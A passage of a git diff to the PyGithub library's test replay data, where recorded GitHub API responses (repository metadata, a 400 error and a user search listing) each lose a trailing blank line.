'E656:4CFB:2F753A4:61982D2:5C13E67A')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-12-13T15:19:18Z","pushed_at":"2018-12-13T22:50:18Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11559,"stargazers_count":2256,"watchers_count":2256,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":765,"mirror_url":null,"archived":false,"open_issues_count":67,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":765,"open_issues":67,"watchers":2256,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":765,"subscribers_count":86} - diff --git a/tests/ReplayData/Retry.testReturnsRepoAfterSettingRetryHttp.txt b/tests/ReplayData/Retry.testReturnsRepoAfterSettingRetryHttp.txt index 4e5cc4d387..4648a15d0d 100644 --- a/tests/ReplayData/Retry.testReturnsRepoAfterSettingRetryHttp.txt +++ b/tests/ReplayData/Retry.testReturnsRepoAfterSettingRetryHttp.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Fri, 08 Jan 2021 10:42:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e132b35ca5ec517feb3106720dceb9394b5bf1f333ef886f8c407d3f2d5de3b2"'), ('Last-Modified', 'Fri, 08 Jan 2021 09:41:41 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '32'), ('X-RateLimit-Reset', '1610104719'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9588:CCCC:9EFCE:B6C13:5FF83725')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"http://my.enterprise.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"http://my.enterprise.com/users/PyGithub/followers","following_url":"http://my.enterprise.com/users/PyGithub/following{/other_user}","gists_url":"http://my.enterprise.com/users/PyGithub/gists{/gist_id}","starred_url":"http://my.enterprise.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"http://my.enterprise.com/users/PyGithub/subscriptions","organizations_url":"http://my.enterprise.com/users/PyGithub/orgs","repos_url":"http://my.enterprise.com/users/PyGithub/repos","events_url":"http://my.enterprise.com/users/PyGithub/events{/privacy}","received_events_url":"http://my.enterprise.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"http://my.enterprise.com/repos/PyGithub/PyGithub","forks_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/forks","keys_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/teams","hooks_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/events","assignees_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/tags","blobs_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/languages","stargazers_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/subscription","commits_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/merges","archive_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/downloads","issues_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-01-08T09:41:41Z","pushed_at":"2021-01-07T18:49:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13251,"stargazers_count":4000,"watchers_count":4000,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1245,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":82,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"http://my.enterprise.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1245,"open_issues":82,"watchers":4000,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"http://my.enterprise.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"http://my.enterprise.com/users/PyGithub/followers","following_url":"http://my.enterprise.com/users/PyGithub/following{/other_user}","gists_url":"http://my.enterprise.com/users/PyGithub/gists{/gist_id}","starred_url":"http://my.enterprise.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"http://my.enterprise.com/users/PyGithub/subscriptions","organizations_url":"http://my.enterprise.com/users/PyGithub/orgs","repos_url":"http://my.enterprise.com/users/PyGithub/repos","events_url":"http://my.enterprise.com/users/PyGithub/events{/privacy}","received_events_url":"http://my.enterprise.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1245,"subscribers_count":105} - diff --git a/tests/ReplayData/Retry.testShouldNotRetryWhenStatusNotOnList.txt b/tests/ReplayData/Retry.testShouldNotRetryWhenStatusNotOnList.txt index e3fadf7119..d717cf3439 100644 --- a/tests/ReplayData/Retry.testShouldNotRetryWhenStatusNotOnList.txt +++ b/tests/ReplayData/Retry.testShouldNotRetryWhenStatusNotOnList.txt @@ -8,4 +8,3 @@ None 400 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '400 Bad Request'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Bad Request"} - diff --git a/tests/ReplayData/Search.testGetPageOnSearchUsers.txt b/tests/ReplayData/Search.testGetPageOnSearchUsers.txt index fdcaf61f75..a0da0f0892 100644 --- a/tests/ReplayData/Search.testGetPageOnSearchUsers.txt +++ b/tests/ReplayData/Search.testGetPageOnSearchUsers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:3E9F:AB68A59:5314040F'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '27301'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:24:47 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393820747')] {"total_count":6038,"items":[{"login":"ursachec","id":497951,"avatar_url":"https://avatars.githubusercontent.com/u/497951","gravatar_id":"5d971653c5cc8eb4b13bb0149a7fbec8","url":"https://api.github.com/users/ursachec","html_url":"https://github.com/ursachec","followers_url":"https://api.github.com/users/ursachec/followers","following_url":"https://api.github.com/users/ursachec/following{/other_user}","gists_url":"https://api.github.com/users/ursachec/gists{/gist_id}","starred_url":"https://api.github.com/users/ursachec/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ursachec/subscriptions","organizations_url":"https://api.github.com/users/ursachec/orgs","repos_url":"https://api.github.com/users/ursachec/repos","events_url":"https://api.github.com/users/ursachec/events{/privacy}","received_events_url":"https://api.github.com/users/ursachec/received_events","type":"User","site_admin":false,"score":1.0},{"login":"bitboxer","id":56195,"avatar_url":"https://avatars.githubusercontent.com/u/56195","gravatar_id":"51968c9632cc07ab399cc32412ccbb98","url":"https://api.github.com/users/bitboxer","html_url":"https://github.com/bitboxer","followers_url":"https://api.github.com/users/bitboxer/followers","following_url":"https://api.github.com/users/bitboxer/following{/other_user}","gists_url":"https://api.github.com/users/bitboxer/gists{/gist_id}","starred_url":"https://api.github.com/users/bitboxer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bitboxer/subscriptions","organizations_url":"https://api.github.com/users/bitboxer/orgs","repos_url":"https://api.github.com/users/bitboxer/repos","events_url":"https://api.github.com/users/bitboxer/events{/privacy}","received_events_url":"https://api.github.com/users/bitboxer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"fs111","id":33631,"avatar_url":"https://avatars.githubusercontent.com/u/33631","gravatar_id":"6da3d4048a89eae74e790545d08ff687","url":"https://api.github.com/users/fs111","html_url":"https://github.com/fs111","followers_url":"https://api.github.com/users/fs111/followers","following_url":"https://api.github.com/users/fs111/following{/other_user}","gists_url":"https://api.github.com/users/fs111/gists{/gist_id}","starred_url":"https://api.github.com/users/fs111/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fs111/subscriptions","organizations_url":"https://api.github.com/users/fs111/orgs","repos_url":"https://api.github.com/users/fs111/repos","events_url":"https://api.github.com/users/fs111/events{/privacy}","received_events_url":"https://api.github.com/users/fs111/received_events","type":"User","site_admin":false,"score":1.0},{"login":"michenriksen","id":304361,"avatar_url":"https://avatars.githubusercontent.com/u/304361","gravatar_id":"7c0502249dda76254c701c5e1137a0aa","url":"https://api.github.com/users/michenriksen","html_url":"https://github.com/michenriksen","followers_url":"https://api.github.com/users/michenriksen/followers","following_url":"https://api.github.com/users/michenriksen/following{/other_user}","gists_url":"https://api.github.com/users/michenriksen/gists{/gist_id}","starred_url":"https://api.github.com/users/michenriksen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michenriksen/subscriptions","organizations_url":"https://api.github.com/users/michenriksen/orgs","repos_url":"https://api.github.com/users/michenriksen/repos","events_url":"https://api.github.com/users/michenriksen/events{/privacy}","received_events_url":"https://api.github.com/users/michenriksen/received_events","type":"User","site_admin":false,"score":1.0},{"login":"witsch","id":62399,"avatar_url":"https://avatars.githubusercontent.com/u/62399","gravatar_id":"7cf2293059661ac8866757f9fcc6da34","url":"https://api.github.com/users/witsch","html_url":"https://github.com/witsch","followers_url":"https://api.github.com/users/witsch/followers","following_url":"https://api.github.com/users/witsch/following{/other_user}","gists_url":"https://api.github.com/users/witsch/gists{/gist_id}","starred_url":"https://api.github.com/users/witsch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/witsch/subscriptions","organizations_url":"https://api.github.com/users/witsch/orgs","repos_url":"https://api.github.com/users/witsch/repos","events_url":"https://api.github.com/users/witsch/events{/privacy}","received_events_url":"https://api.github.com/users/witsch/received_events","type":"User","site_admin":false,"score":1.0},{"login":"booo","id":424513,"avatar_url":"https://avatars.githubusercontent.com/u/424513","gravatar_id":"6febfecfcdb7f473a82e9383bd9772fb","url":"https://api.github.com/users/booo","html_url":"https://github.com/booo","followers_url":"https://api.github.com/users/booo/followers","following_url":"https://api.github.com/users/booo/following{/other_user}","gists_url":"https://api.github.com/users/booo/gists{/gist_id}","starred_url":"https://api.github.com/users/booo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/booo/subscriptions","organizations_url":"https://api.github.com/users/booo/orgs","repos_url":"https://api.github.com/users/booo/repos","events_url":"https://api.github.com/users/booo/events{/privacy}","received_events_url":"https://api.github.com/users/booo/received_events","type":"User","site_admin":false,"score":1.0},{"login":"mortice","id":60826,"avatar_url":"https://avatars.githubusercontent.com/u/60826","gravatar_id":"adcd8d8f37a83e7ed102cd1df3e95298","url":"https://api.github.com/users/mortice","html_url":"https://github.com/mortice","followers_url":"https://api.github.com/users/mortice/followers","following_url":"https://api.github.com/users/mortice/following{/other_user}","gists_url":"https://api.github.com/users/mortice/gists{/gist_id}","starred_url":"https://api.github.com/users/mortice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mortice/subscriptions","organizations_url":"https://api.github.com/users/mortice/orgs","repos_url":"https://api.github.com/users/mortice/repos","events_url":"https://api.github.com/users/mortice/events{/privacy}","received_events_url":"https://api.github.com/users/mortice/received_events","type":"User","site_admin":false,"score":1.0},{"login":"r0man","id":21566,"avatar_url":"https://avatars.githubusercontent.com/u/21566","gravatar_id":"d934ff33907d9f03a1ffc2a88cb9e1af","url":"https://api.github.com/users/r0man","html_url":"https://github.com/r0man","followers_url":"https://api.github.com/users/r0man/followers","following_url":"https://api.github.com/users/r0man/following{/other_user}","gists_url":"https://api.github.com/users/r0man/gists{/gist_id}","starred_url":"https://api.github.com/users/r0man/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/r0man/subscriptions","organizations_url":"https://api.github.com/users/r0man/orgs","repos_url":"https://api.github.com/users/r0man/repos","events_url":"https://api.github.com/users/r0man/events{/privacy}","received_events_url":"https://api.github.com/users/r0man/received_events","type":"User","site_admin":false,"score":1.0},{"login":"MikeBild","id":179382,"avatar_url":"https://avatars.githubusercontent.com/u/179382","gravatar_id":"15b3eec086d1a876111411537ffa8413","url":"https://api.github.com/users/MikeBild","html_url":"https://github.com/MikeBild","followers_url":"https://api.github.com/users/MikeBild/followers","following_url":"https://api.github.com/users/MikeBild/following{/other_user}","gists_url":"https://api.github.com/users/MikeBild/gists{/gist_id}","starred_url":"https://api.github.com/users/MikeBild/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MikeBild/subscriptions","organizations_url":"https://api.github.com/users/MikeBild/orgs","repos_url":"https://api.github.com/users/MikeBild/repos","events_url":"https://api.github.com/users/MikeBild/events{/privacy}","received_events_url":"https://api.github.com/users/MikeBild/received_events","type":"User","site_admin":false,"score":1.0},{"login":"mhagger","id":119718,"avatar_url":"https://avatars.githubusercontent.com/u/119718","gravatar_id":"67d45b2f8a93ea8131342d196f27be99","url":"https://api.github.com/users/mhagger","html_url":"https://github.com/mhagger","followers_url":"https://api.github.com/users/mhagger/followers","following_url":"https://api.github.com/users/mhagger/following{/other_user}","gists_url":"https://api.github.com/users/mhagger/gists{/gist_id}","starred_url":"https://api.github.com/users/mhagger/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mhagger/subscriptions","organizations_url":"https://api.github.com/users/mhagger/orgs","repos_url":"https://api.github.com/users/mhagger/repos","events_url":"https://api.github.com/users/mhagger/events{/privacy}","received_events_url":"https://api.github.com/users/mhagger/received_events","type":"User","site_admin":true,"score":1.0},{"login":"bkw","id":60910,"avatar_url":"https://avatars.githubusercontent.com/u/60910","gravatar_id":"ba794f1084b2a876705e2679c197c630","url":"https://api.github.com/users/bkw","html_url":"https://github.com/bkw","followers_url":"https://api.github.com/users/bkw/followers","following_url":"https://api.github.com/users/bkw/following{/other_user}","gists_url":"https://api.github.com/users/bkw/gists{/gist_id}","starred_url":"https://api.github.com/users/bkw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bkw/subscriptions","organizations_url":"https://api.github.com/users/bkw/orgs","repos_url":"https://api.github.com/users/bkw/repos","events_url":"https://api.github.com/users/bkw/events{/privacy}","received_events_url":"https://api.github.com/users/bkw/received_events","type":"User","site_admin":false,"score":1.0},{"login":"fwbrasil","id":831175,"avatar_url":"https://avatars.githubusercontent.com/u/831175","gravatar_id":"3a2dbcd6a4b28903a6a39a5a9c00f0bb","url":"https://api.github.com/users/fwbrasil","html_url":"https://github.com/fwbrasil","followers_url":"https://api.github.com/users/fwbrasil/followers","following_url":"https://api.github.com/users/fwbrasil/following{/other_user}","gists_url":"https://api.github.com/users/fwbrasil/gists{/gist_id}","starred_url":"https://api.github.com/users/fwbrasil/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fwbrasil/subscriptions","organizations_url":"https://api.github.com/users/fwbrasil/orgs","repos_url":"https://api.github.com/users/fwbrasil/repos","events_url":"https://api.github.com/users/fwbrasil/events{/privacy}","received_events_url":"https://api.github.com/users/fwbrasil/received_events","type":"User","site_admin":false,"score":1.0},{"login":"mschneider","id":144124,"avatar_url":"https://avatars.githubusercontent.com/u/144124","gravatar_id":"d6fcf10b07508fa819e43598a9364016","url":"https://api.github.com/users/mschneider","html_url":"https://github.com/mschneider","followers_url":"https://api.github.com/users/mschneider/followers","following_url":"https://api.github.com/users/mschneider/following{/other_user}","gists_url":"https://api.github.com/users/mschneider/gists{/gist_id}","starred_url":"https://api.github.com/users/mschneider/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mschneider/subscriptions","organizations_url":"https://api.github.com/users/mschneider/orgs","repos_url":"https://api.github.com/users/mschneider/repos","events_url":"https://api.github.com/users/mschneider/events{/privacy}","received_events_url":"https://api.github.com/users/mschneider/received_events","type":"User","site_admin":false,"score":1.0},{"login":"lydiapintscher","id":550412,"avatar_url":"https://avatars.githubusercontent.com/u/550412","gravatar_id":"a3e09b63b153e2138fd56928544a0901","url":"https://api.github.com/users/lydiapintscher","html_url":"https://github.com/lydiapintscher","followers_url":"https://api.github.com/users/lydiapintscher/followers","following_url":"https://api.github.com/users/lydiapintscher/following{/other_user}","gists_url":"https://api.github.com/users/lydiapintscher/gists{/gist_id}","starred_url":"https://api.github.com/users/lydiapintscher/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lydiapintscher/subscriptions","organizations_url":"https://api.github.com/users/lydiapintscher/orgs","repos_url":"https://api.github.com/users/lydiapintscher/repos","events_url":"https://api.github.com/users/lydiapintscher/events{/privacy}","received_events_url":"https://api.github.com/users/lydiapintscher/received_events","type":"User","site_admin":false,"score":1.0},{"login":"asksven","id":891487,"avatar_url":"https://avatars.githubusercontent.com/u/891487","gravatar_id":"068ef694daab72710635a5f60d5fd08b","url":"https://api.github.com/users/asksven","html_url":"https://github.com/asksven","followers_url":"https://api.github.com/users/asksven/followers","following_url":"https://api.github.com/users/asksven/following{/other_user}","gists_url":"https://api.github.com/users/asksven/gists{/gist_id}","starred_url":"https://api.github.com/users/asksven/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/asksven/subscriptions","organizations_url":"https://api.github.com/users/asksven/orgs","repos_url":"https://api.github.com/users/asksven/repos","events_url":"https://api.github.com/users/asksven/events{/privacy}","received_events_url":"https://api.github.com/users/asksven/received_events","type":"User","site_admin":false,"score":1.0},{"login":"iamtimm","id":2601332,"avatar_url":"https://avatars.githubusercontent.com/u/2601332","gravatar_id":"7d1da2510e4628fd4a4650eee2d01747","url":"https://api.github.com/users/iamtimm","html_url":"https://github.com/iamtimm","followers_url":"https://api.github.com/users/iamtimm/followers","following_url":"https://api.github.com/users/iamtimm/following{/other_user}","gists_url":"https://api.github.com/users/iamtimm/gists{/gist_id}","starred_url":"https://api.github.com/users/iamtimm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iamtimm/subscriptions","organizations_url":"https://api.github.com/users/iamtimm/orgs","repos_url":"https://api.github.com/users/iamtimm/repos","events_url":"https://api.github.com/users/iamtimm/events{/privacy}","received_events_url":"https://api.github.com/users/iamtimm/received_events","type":"User","site_admin":false,"score":1.0},{"login":"sneak","id":408977,"avatar_url":"https://avatars.githubusercontent.com/u/408977","gravatar_id":"c8d86b06ffa43423112215dc8c2a86c4","url":"https://api.github.com/users/sneak","html_url":"https://github.com/sneak","followers_url":"https://api.github.com/users/sneak/followers","following_url":"https://api.github.com/users/sneak/following{/other_user}","gists_url":"https://api.github.com/users/sneak/gists{/gist_id}","starred_url":"https://api.github.com/users/sneak/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sneak/subscriptions","organizations_url":"https://api.github.com/users/sneak/orgs","repos_url":"https://api.github.com/users/sneak/repos","events_url":"https://api.github.com/users/sneak/events{/privacy}","received_events_url":"https://api.github.com/users/sneak/received_events","type":"User","site_admin":false,"score":1.0},{"login":"kr1sp1n","id":64247,"avatar_url":"https://avatars.githubusercontent.com/u/64247","gravatar_id":"d390a0b22b684675c6127d81b025f94e","url":"https://api.github.com/users/kr1sp1n","html_url":"https://github.com/kr1sp1n","followers_url":"https://api.github.com/users/kr1sp1n/followers","following_url":"https://api.github.com/users/kr1sp1n/following{/other_user}","gists_url":"https://api.github.com/users/kr1sp1n/gists{/gist_id}","starred_url":"https://api.github.com/users/kr1sp1n/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kr1sp1n/subscriptions","organizations_url":"https://api.github.com/users/kr1sp1n/orgs","repos_url":"https://api.github.com/users/kr1sp1n/repos","events_url":"https://api.github.com/users/kr1sp1n/events{/privacy}","received_events_url":"https://api.github.com/users/kr1sp1n/